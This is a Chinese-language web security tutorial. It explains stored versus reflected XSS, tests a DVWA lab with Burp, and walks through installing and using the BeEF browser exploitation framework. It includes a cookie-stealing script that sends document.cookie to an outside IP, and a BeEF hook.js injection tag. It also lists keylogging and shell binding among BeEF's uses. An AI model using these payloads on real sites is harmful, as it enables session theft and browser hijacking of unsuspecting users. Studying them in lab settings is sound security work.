赞
踩
反射型xss和存储型xss的区别是:
反射型xss需要一系列的社会工程学等各种欺骗方式诱使别人点击你发送给他的连接地址,利用起来较麻烦。
存储型xss漏洞利用之后造成的威胁性更大,利用难度也较容易一些。
存储型xss,利用代码长期存储在服务器端。渗透测试者一次性发起漏洞利用代码后,利用代码就会注入到服务器存在漏洞的页面,之后每当有人访问该页面,都会从服务器下载这段攻击性的代码脚本,在本地浏览器中执行。只要渗透测试者攻击后开着主机侦听端口等待有人访问该网页,就会像钓鱼一样上钩,客户端本地cookie、浏览器信息就会发送到渗透测试者控制端服务器上。
测试方法同反射型xss类似。先提交数据,通过提交数据页面返回显示来判断web应用对数据的处理方法。我们可以结合burp使用。
查看响应结果
这是一个迹象值得我们去怀疑是不是提交一个脚本,他也能执行。且我们可以看到返回的内容是一个独立的,而不是包含在任何标签中的。我们对该url在burp里进行修改重新提交查看响应结果。
查看响应页面:
复制链接到浏览器中查看:
因为这个是存储型xss漏洞,所以当我面每次点击该页面时,浏览器都会调用执行插入的脚本代码,都会看到上图中的弹框。
具体利用方法跟反射型xss一致,只不过我们不需要再每次欺骗用户点击相应连接。
严格意义上来讲,dom型也属于反射型的跨站脚本漏洞。
<script>var img=document.createElement("img");img.src="http://192.168.20.8:88/log?"+escape(document.cookie);</script>
浏览器漏洞利用框架。
浏览器攻击面
应用普通转移到B/S架构,浏览器称为统一客户端程序。
结合社会工程学方法对浏览器进行攻击。
攻击浏览器用户。
通过注入的js脚本,利用浏览器攻击其他网站。
BEFF
可以生成、交付payload。
Ruby语言编写。
服务器端:有一个web界面,可以管理已经被植入js脚本的(hooked)客户端。
客户端:云星宇客户端浏览器的js脚本(hook)。
攻击手段
利用网站xss漏洞实现攻击。
如果服务器不存在xss漏洞,也可以使用社工方法诱使客户端访问含有hook的伪造站点。
结合中间人攻击注入hook脚本。
常见用途
键盘记录器
网络扫描
浏览器信息收集
绑定shell
与metasploit集成
apt-get install update
#apt-get install curl git
apt-get install beef-xss
apt --fix-broken install
#启动
beef-xss
#然后输入用户名密码,beef本身账号和密码分别是beef和beef,我们可以输入新的用户名密码即可。
#访问,通过http://ip:3000/ui/authentication来访问,用户名密码就是上一步中修改的新密码。登录进去就可以控制已经被hook的服务器端。
具体在hook端,我们要通过跨站脚本漏洞来使用beef提供的hook脚本,例:
#可以把这段脚本代码插入到存在有xss漏洞的页面里。
<script src="http://ip:3000/hook.js"></script>
环境:
kail:10.0.0.140
metasploitable:10.0.0.142
web站点:dvwa,安全级别为low
此时我们可以看到beef服务器端已经存在有10.0.0.142这台被hook的机器
页面关掉就无法利用了。beef就会显示下线。
details模块是浏览器详细信息:
Details:浏览器、插件版本信息;操作系统信息
Logs:浏览器动作:焦点变化、鼠标点击、信息输入
Commands:命令模块
绿色模块:表示模块适合目标浏览器,并且执行结果被客户端不可见
红色模块:表示模块不适用于当前用户,有些红色模块也可正常执行
橙色模块:模块可用,但结果对用户可见(CAM弹窗申请权限等)
灰色模块:模块未在目标浏览器上测试过
这些颜色显示也是根据收集到的目标信息来判断显示的,所以也可能存在不完善。我们可以通过模块颜色来判断是否使用当前目标服务器。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。